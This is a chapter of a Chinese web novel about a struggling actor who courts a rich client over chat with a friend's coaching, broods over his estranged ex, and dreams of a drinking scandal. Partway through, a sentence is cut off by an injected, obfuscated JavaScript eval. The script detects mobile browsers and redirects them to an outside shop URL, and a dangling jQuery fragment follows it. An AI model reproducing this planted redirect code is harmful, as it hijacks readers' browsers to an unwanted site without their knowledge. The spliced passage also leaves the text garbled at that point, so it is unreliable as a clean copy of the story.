“喂,妈,嗯,项目结束了,安排?打算休一个月假。”
“休假想去国外旅游吗?顺便去看看你弟,他在德国快无聊死了。”
穆清羽坐在办公室里,一边听电话一边转着笔,闻言一顿,“无聊也没见他读书,我去了也是妨碍他花天酒地。”
“怎么这么说你弟弟,我记得你们以前关系挺好的啊,而且人家都说双胞胎都是心有灵犀……”
“还有工作……先挂了。”
挂断电话,穆清羽的手机屏幕重新跳转到了接电话前的界面,画面定格在周明熙宣传片的脸上。
穆清羽静静地盯着这张脸了半晌。
穆清羽讨厌周明熙的放荡不堪,讨厌他蠢钝和愚笨,讨厌他明明做错了事还不愿意道歉,也不知道悔改。
这一年来,他一直在等着他回头认错,然后他再狠狠地嘲讽他、折磨他,好给自己出一口恶气,可他却始终没有等到。
一整年,这家伙只知道窝在家里酗酒发胖自暴自弃,好不容易振作起来打算复出,宁愿去陪酒也不肯过来向他说句软话。
陪酒,他陪得明白吗?在酒桌上连夹菜倒酒这点小事都做不好,嘴皮子也不利索,讲的笑话尴尬得要命,纯靠给男人占便宜混口饭吃,还以为是什么大项目值得他这么当孙子呢,不过是一个恋综而已,还是个拿他的丑事当爆点的无下限综艺。
明明以前还答应过他,绝对不会再去什么乱七八糟的饭局,现在也是忘得一干二净,陪酒被他抓个正着还满嘴胡言乱语,连把脉这种鬼话都说得出来。
越想,越不是滋味,穆清羽一个电话就拨了过去。
另一边,周明熙刚健身完跟莫念回到公寓里,他们这间公寓很小,只有一个浴室,周明熙先洗的澡,把手机放房间里,没接到电话。
等莫念也洗完澡出来,就看到周明熙只穿着运动中裤和宽松的T恤,盘腿坐在沙发上,眉头紧蹙,捧着手机严阵以待,等莫念吹完头发,他才下定决心发了条语音过去,把声带狠狠一夹,嗲嗲地说:“在~覃总找我有事吗?”
覃臻的声音从手机里传来,“别这么客气,我也只比你大几岁。”
“嗯……那我叫你哥哥吧!”
什么鬼动静,莫念听得虎躯一震又一震,缓缓转过头问:“你在干什么?”
周明熙不知道莫念的表情是何意味,茫然:“不是要维护客户吗?”
莫念面带嫌弃:“那也不能这么说话吧!跟出来卖的有什么区别?”
周明熙嘀咕:“本来就没区别。”
说完,他把手机一丢,面向墙壁开始热身。
莫念:“又自暴自弃了吧,时刻记住你是演员不是外围,咱是凭本事吃饭的……你又干什么?”
周明熙:“覃总叫我跳最近学的舞给他看,看看有没有进步。”
莫念:“他叫你跳,你就真跳啊?”
周明熙犹疑:“可以拒绝吗?”
莫念叹一口气,拍拍沙发,“过来坐下!”
周明熙不明所以,坐过来。
莫念语重心长地跟他说:“明熙,你的问题就在于,你给得太多,也给得太轻易了,对有钱男人来说,越这样越显得你不值钱,就算给,也要循序渐进、若隐若现地给。”
这一大段下来,听得周明熙脑容量过载,直接把手机塞给莫念,“那你帮我回复。”
莫念瞪他一眼,“学着点。”
莫念先快速浏览一遍两人的对话,对着手机飞快地打起了字。
暗熙:练了一天了,腿很酸
芹:大腿发给我看看
周明熙在旁边看着,突然吭哧吭哧笑,问莫念:“循序渐进的话,是不是先给他看看我的大脚趾?”
该怎么拯救你,我的大傻子,莫念心累:“……你那脑子要不用你就捐了它行吗?”
说话间他给对面的覃臻回了个表情,然后熟练地转移话题。
暗熙:害羞jpg
暗熙:好累啊,饭都没吃呢。
芹:想吃什么
暗熙:不知道,点个外卖吧,哥哥有没有推荐啊
芹:红包
芹:可以去点李记的,他家私房菜不错
莫念直接点接收,微信余额+5000,转头向周明熙挑眉,“记得用语音跟你的好哥哥道声谢。”
周明熙目瞪口呆,他跟覃臻聊了有几周都没爆过金币,这一天就赚五千啊,不过有些钱来得越快他越心慌,“这不能收吧?万一以后他找我要回去怎么办?”
周明熙已经不相信天上掉馅饼的事了,因为生活总是会在出其不意的地方给他一些天大的教训,学生时代有人追他,以朋友为名天天给他买小零食,他没忍住吃了,结果对方告白失败让他全部按小票照价赔偿了。
当初那种有人请客的喜悦,导致最后被要求偿还的窘迫感成倍增加,从此周明熙再也不能直视此人,但对方在毕业后创业赚了点小钱,还给他发信息,再问他一遍,愿不愿意跟他试试,又让周明熙回忆起当年的尴尬,谢邀,拉黑。
但事实证明,人是不长记性的,成年以后进圈,他又跟穆清羽……想起刚刚他打来的电话,周明熙心中一紧,不会是来追债的吧?他现在还没钱。
莫念正经道:“找你要那你就还呗,以后火了你又不是没钱还,不过覃臻这个人不会的,我都事先挑过合作人选的,铁公鸡我肯定不会白费力气。”
说着话,周明熙的微信突然跳出了一条穆清羽的信息。
无羽:你还真敢照着拍?
无羽:是觉得我脾气很好吗?
嘶,这两句,来者不善,莫念刚想说要不要我帮你回,周明熙就拿回了自己的手机,直接熄屏,表情也有些黯淡下来,不知道在想什么。
莫念识相地不再问,拍拍他:“诶,这五千怎么也得请我吃50吧,帮我点个披萨。”
周明熙终于有了反应,“那我也吃披萨。”
莫念认真地说:“你不许吃,你的晚饭是由我亲手制作的盐水煮鸡胸肉西蓝花。”
周明熙抗议:“这5000是我的饭钱,你就拿鸡胸肉和西蓝花打发我?那以后人家要回这5000,你净赚我50啊。”
莫念:“你现在就给我点,我给你做饭去,至于那些没影的事儿,别瞎操心……”
水煮菜莫念花十分钟就搞定了,等披萨到的时候,周明熙已经吃完了,对披萨不是很感兴趣了,从冰箱里拿了罐啤酒,就回了自己房间。
在房间里站了一会儿,把啤酒一饮而尽,就关灯躺到床上,划开手机屏幕,点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945879|214050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开了跟穆清羽的对话窗。
除了今天这两句话,往上一翻就是一个醒目的红色感叹号,是一年前周明熙发给穆清羽的一句话:“对不起,钱我会还给你。”
穆清羽没有收到,因为他当时把他拉黑了。
他们的故事就暂停在那里。
不知道穆清羽是什么时候又把他从黑名单里放出来了,上次的聚会重逢和这次的信息,他的态度都让周明熙琢磨不透。
他实在不懂得怎么应对他,心底感到了一丝不安,他不知道穆清羽会对他本就不确定的未来产生什么变数。
想着想着,他就睡着了。
——
手机放在沙发上,屏幕亮着,不断地震动,各大平台的弹窗消息铺满了他的名字,其中最言简意赅的话题是微博热搜——周明熙陪酒,酒字后面跟了一个‘爆’。
周明熙在沙发仰躺着,意识昏沉,挣扎着从酒精带来的无力和晕眩中睁开眼,茫然地看着周围,周围的一切都像是在播放一部年代久远的艳情录像机,画面模糊昏暗,只看到暴露的打扮下白色的皮肉,手在放肆地摸,一张一合的嘴巴刷得鲜红,调笑的声音时大时小,断断续续。
豪华精致的装潢每一处都透着反光,顶上的吊灯也十分刺眼,周明熙用手挡住了眼睛,试图思考。
他怎么会在这里?
周明熙低头,发现自己也似乎是其中的一员,身上穿了一件腰带系得不甚严实的浴袍,胸前春光半露,一片濡湿,带着鸡尾酒的味道。
一丝慌张从心底油然而生,他怎么会……不会的。
是有人把他引到了这里,是谁呢?
不知道,周明熙扶着疼痛欲裂的脑袋,四下寻找,可他的身边空无一人。
不能再待在这里了,他得走了,不然……不然什么呢?他不知道,思维像吊在半空中,无法进行连贯的思考。
跌跌撞撞地,他终于走到了门口,可一推开门,门外的长枪短炮和一刻不停的闪光灯猛地怼到他的脸上。
又来了,天底下难道没有比他周明熙更重要的事了吗?周明熙麻木着脸,一言不发,任由他们拍摄,只是一味地往前,可门口唯一的通道被堵得死死的。
到底有完没完,脑海中突然腾升一股愤怒,周明熙往前狠狠一推,“让开!”
一个记者被他推到在地,手中的相机却仍在死死对着他,不顾自己被同行踩踏推搡的疼痛,也要记录到最一手的资料。
还有人不嫌事大地嚷道:“周明熙打人了!”
乱糟糟的叫嚷让周明熙愈发狂躁,不顾一切地往前推搡。
在闹剧之中,造成混乱的周明熙突然定住了,身高的优势,让他能透过人群看向远处,一辆熟悉的劳斯莱斯停在门口,车窗缓缓下拉,露出一张俊美冷漠的面孔。
他看着他,看着他被众人围剿,一身的狼狈和不堪,神色失望,最终,车子扬长而去。
——
周明熙猛地惊醒过来。
不知为何出了一身冷汗,他只好从床上爬起来,到卫生间里用冷水毛巾擦背,顺便洗了把脸。
看到镜子里自己的脸上似乎还透着噩梦带来的彷徨和惊惧。
“没关系。”都已经过去了。
他对着镜子露出了一个笑脸。